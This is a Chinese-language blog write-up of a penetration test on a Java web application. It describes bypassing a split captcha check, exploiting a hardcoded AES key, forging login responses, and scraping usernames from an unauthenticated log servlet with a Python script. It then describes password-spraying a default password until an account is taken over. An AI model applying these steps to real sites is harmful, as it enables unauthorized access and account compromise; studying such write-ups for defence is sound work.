• 记一次渗透测试


     

     
    Java的站点,登录有限制5次,admin已经被锁定了,验证码没啥用,分两次请求,一次是验证验证码的,一次是验证登录的,因此只要为伪造第二次的请求即可
     
    验证验证码
     

     
    发送验证请求
     

    Key/Iv硬编码

     
    审计js源码发现,Aes中的Key/Iv使用了硬编码
     

     
    但是没有用户名,当然可以尝试爆破,但是感觉效率不高,后面发现确实是这样的
     

    Aes爆破

     
    这里我使用 BurpCrypto 这个插件
     

    一些问题

     
    调试的时候发现,总是对不上,于是学习了一下 CryptoJS 这个Js库的使用
     
    发现按照文中的写法,默认的输出是Base64编码后的
     

     
    CryptoJS 中只提供了base64,因此爆破的时候还需要你去hex一下
     

     

    简单调试CryptoJS

     
    肯定要反解密的,因此学习了一下关于 CryptoJS 中Aes加解密的使用(支持加解密很多类型,但是这里面使用Aes),简单写了一个前端Aes加解密的东西
     

    <!DOCTYPE html>
    <html>
    <head>
        <title>Mikasa</title>
    </head>
    <body>
    <input type="text" id="str" value="待加解密字符串" >
    <input type="text" id="key" value="Key" >
    <input type="text" id="iv" value="iv" >
    <br>
    <input type="button" name="" value="加密" onclick="EnCode();">
    <input type="button" name="" value="解密" onclick="DenCode();">
    <script src="./jquery.js"></script>
    <script src="./Cryptojs.js"></script>
    <script type="text/javascript">
        function EnCode(argument) {
            var StrStr= $("#str").val();
            var keykey=$("#key").val();
            var iviv=$("#iv").val();
    
            alert(encrypt(StrStr,keykey,iviv));
        }
    
    function encrypt(data,key,iv) {
        // body...
         var EnKey= CryptoJS.enc.Latin1.parse(key);
         var Eniv = CryptoJS.enc.Latin1.parse(iv);
    
         return (CryptoJS.AES.encrypt(data, EnKey, {iv:Eniv,mode:CryptoJS.mode.CBC,padding:CryptoJS.pad.Pkcs7}).toString());
    
    }
       function strToHexCharCode(str) {
             var sb='';
             for(var i = 0; i < str.length; i++){  
                 var hex = (str.charCodeAt(i) & 0xFF).toString(16);  
                 if (hex.length == 1) {  
                     hex = '0' + hex;  
                 }  
                 sb=sb+hex;  
             }  
             return sb.toUpperCase();  
        }
    
        function DenCode() {
            var StrStr= $("#str").val();
            var keykey=$("#key").val();
            var iviv=$("#iv").val();
    
            alert(dencrypt(StrStr,keykey,iviv));
        }
    
    function dencrypt(data,key,iv) {
        // body...
        var data= hexCharCodeToStr(data);
         var DenKey= CryptoJS.enc.Latin1.parse(key);
         var Deniv = CryptoJS.enc.Latin1.parse(iv);
         return hexCharCodeToStr(CryptoJS.AES.decrypt(data, DenKey, {iv:Deniv,mode:CryptoJS.mode.CBC,padding:CryptoJS.pad.Pkcs7}).toString());
    
    }
    
    function hexCharCodeToStr(hexCharCodeStr) {
      var trimedStr = hexCharCodeStr.trim();
      var rawStr =
      trimedStr.substr(0,2).toLowerCase() === "0x"
      ?
      trimedStr.substr(2)
      :
      trimedStr;
      var len = rawStr.length;
      if(len % 2 !== 0) {
        alert("Illegal Format ASCII Code!");
        return "";
      }
      var curCharCode;
      var resultStr = [];
      for(var i = 0; i < len;i = i + 2) {
        curCharCode = parseInt(rawStr.substr(i, 2), 16); // ASCII Code Value
        resultStr.push(String.fromCharCode(curCharCode));
      }
      return resultStr.join("");
    }
    </script>
    </body>
    </html>
    

     

     
    需要引入 CryptoJS 以及 Jquery
     

    后台未授权访问获取日志log

     
    审计js源码发现,是根据 status 以及 token 字段来判断是否成功
     

     
    劫持返回包
     


     
    尽量保持参数不为空
     
    修改后成功进入后台
     

     
    但是每个模块应该都做了鉴权,不能使用
     

     
    但是查看日志的 Servlet 鉴权不全,存在未授权访问,因此我们可以获取到登录用户的用户名
     

     
    bs4爬下来去个重完事
     

    # -*- coding: utf-8 -*-
    
    from bs4 import BeautifulSoup
    
    import requests
    import time
    headers={
        "Cookie":""
    }
    
    url="url"
    
    data={"pageNum":"1"}
    
    test=requests.post(url,headers=headers,data=data)
    
    soup=BeautifulSoup(test.text)
    
    
    for test in range(1,60):
        Mikasa=requests.post(url,headers=headers,data={"pageNum":test})
        soup = BeautifulSoup(Mikasa.text)
        num = len(soup.find_all("td"))
        num_test=0
        while num_test <num:
            open("user.txt","a").write(soup.find_all("td")[num_test].get_text()+"
    ")
            num_test=num_test+4
        pass
    

    尝试爆破

     
    拿到了用户名(300+),于是准备去爆破,因为锁定机制每个只能爆破 5 次,于是先爆破两个密码试试
     
    这里我选择的是 123456 password
     

     
    但是爆破结果不如人意(估计默认密码不是123456,或者大家都改了),截图没了,暂时就这样
     
    后面注意到在渗透其他的站点时候,发现默认密码好像是 Pass*123
     
    尝试爆破,在300+个用户中,终于找到了一个
     

     

     
    我们去解密一下
     

     

     
    登录成功
     

     
    后台的功能较多,慢慢待测
     

  • 相关阅读:
    C++ 类的本质 札记
    eclipse makefile
    boost 简介
    telecom 产品分析js
    javascript 得到页面参数
    ajax 接口统一模式
    备份
    jquery 元素插入详解
    使用WebClient制作一下简单的采集器
    数据库锁机制
  • 原文地址:https://www.cnblogs.com/Mikasa-Ackerman/p/ji-yi-ci-shen-tou-ce-shi.html
Copyright © 2020-2023  润新知